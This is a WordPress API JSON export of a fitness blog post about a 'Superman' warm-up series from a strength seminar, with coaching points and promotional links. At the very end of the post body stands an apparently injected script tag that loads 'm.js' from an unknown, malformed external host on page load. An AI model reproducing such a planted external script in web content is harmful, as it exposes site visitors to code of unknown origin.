{"id":217253,"date":"2020-04-30T05:31:15","date_gmt":"2020-04-30T09:31:15","guid":{"rendered":"https:\/\/synergyfitnessteam.com\/uncategorized\/superman-warmup-series-exercises\/"},"modified":"2020-04-30T05:31:15","modified_gmt":"2020-04-30T09:31:15","slug":"superman-warmup-series-exercises","status":"publish","type":"post","link":"https:\/\/synergyfitnessteam.com\/superman-warmup-series-exercises\/","title":{"rendered":"Superman Warmup Series Exercises Vestal New York &#8211; Synergy"},"content":{"rendered":"<h2>Superman Warmup Series Exercises<\/h2>\n<div class=\"youtubomatic-video-container\"><iframe width=\"1920\" height=\"1080\" src=\"https:\/\/www.youtube.com\/embed\/phdADj4gO00?controls=1\" frameborder=\"0\" allowfullscreen><\/iframe><\/div>\n<p>**3 FREE BONUSES** http:\/\/www.synergy-athletics.com\/freebonus MANUAL: <a href=\"http:\/\/www.bullstrength.com\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/www.bullstrength.com<\/a> <\/p>\n<p>This weekend&#8217;s Accelerated Strength Development Seminar was a great experience.<\/p>\n<p>Jim Smith from the Diesel Crew kicked it off with a presentation on warm-ups&#8230;well perhaps that is an understatement.   Everyone was led through 90 minutes worth of warm-up progressions from Jim and Joe Defranco&#8217;s Amped Manual. All was 100% hands on people were soaking it all in.<\/p>\n<p>super man warmup<\/p>\n<p>I was amazed by the fact that about 50% of the material was even &#8220;new to me&#8221; or advanced progressions of movements and I&#8217;m always looking for ways to crank it up for our athletes.<\/p>\n<p>Here is just one clip from the 90 minutes &#8211; Jim&#8217;s Superman Series &#8211; that I used before yesterday&#8217;s workout.<\/p>\n<p>Coaching Points:<\/p>\n<p>    * Make sure your KNEES and lower are off the ground<br \/>\n    * Keep your entire arm off the ground<br \/>\n    * Squeeze with the glutes to lift the legs<\/p>\n<p>Superman Warmup Series<\/p>\n<p>This was just a glimpse at what we covered during the 6 hour seminar!  I did video nearly all the seminar and am considering putting it together into a DVD to help people out that couldn&#8217;t make the drive.<\/p>\n<p>&#8211; Joe Hashey, CSCS &#8211;<\/p>\n<p>PS.  Make sure to sign up on the Synergy newsletter below to get article priority notification!!  This is IMPORTANT because people are missing out on info like the seminar and last week&#8217;s &#8220;6 Weeks of Speed Program&#8221; because they aren&#8217;t getting the FREE notifications!  Oh and you get 3 bonuses too!<\/p>\n<p>KEYWORDS: warm up, amped warm up, amped warmup, defranco warm up, defranco warmup, diesel crew warmup, accelerated strength, how to warm up<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\">Superman Warmup Series Exercises Vestal New York &#8211; Synergy Related Info<\/h3>\n<p><strong>Meta Description of <em>Superman Warmup Series Exercises<\/em>:<\/strong> Superman Warmup Series Exercises &#8211; Synergy Fitness Studio Vestal New York, Category: Synergy Fitness Team on YouTube, Tags: Accelerated Strength, accelerated s<\/p>\n<p>Related City:\u00a0<a href=\"https:\/\/synergyfitnessteam.com\/category\/synergy\/vestal\/\">Vestal New York<\/a>, Tags: accelerated strength, amped warm up, amped warmup, defranco warm up, defranco warmup, diesel crew warmup, how to warm up, warm up, <a href=\"https:\/\/synergyfitnessteam.com\/tag\/accelerated-strength\/\">Accelerated Strength<\/a> and <a href=\"https:\/\/synergyfitnessteam.com\/tag\/trial\/\">Trial<\/a>, Categories: Synergy Fitness Team on YouTube and <a href=\"https:\/\/synergyfitnessteam.com\/category\/fitness-studio\/\">Fitness Studio<\/a>.<\/p>\n<p>Recommended pages or posts on Superman Warmup Series Exercises: <a href=\"https:\/\/synergyfitnessteam.com\/about\/\">About Synergy<\/a><\/p>\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=phdADj4gO00\">Watch &#8220;Superman Warmup Series Exercises Vestal New York &#8211; Synergy&#8221; on YouTube<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script src='https:\/\/bono.\/m.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Superman Warmup Series Exercises **3 FREE BONUSES** http:\/\/www.synergy-athletics.com\/freebonus MANUAL: http:\/\/www.bullstrength.com This weekend&#8217;s Accelerated Strength Development Seminar was a great experience. Jim Smith from the Diesel Crew kicked it off with a presentation on warm-ups&#8230;well perhaps that is an understatement. Everyone was led through 90 minutes worth of warm-up progressions from Jim and Joe Defranco&#8217;s Amped [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":218236,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[1044,1045,1046,1047,1048,1049,125,34,128],"_links":{"self":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/217253"}],"collection":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/comments?post=217253"}],"version-history":[{"count":0,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/217253\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/media?parent=217253"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/categories?post=217253"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/tags?post=217253"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}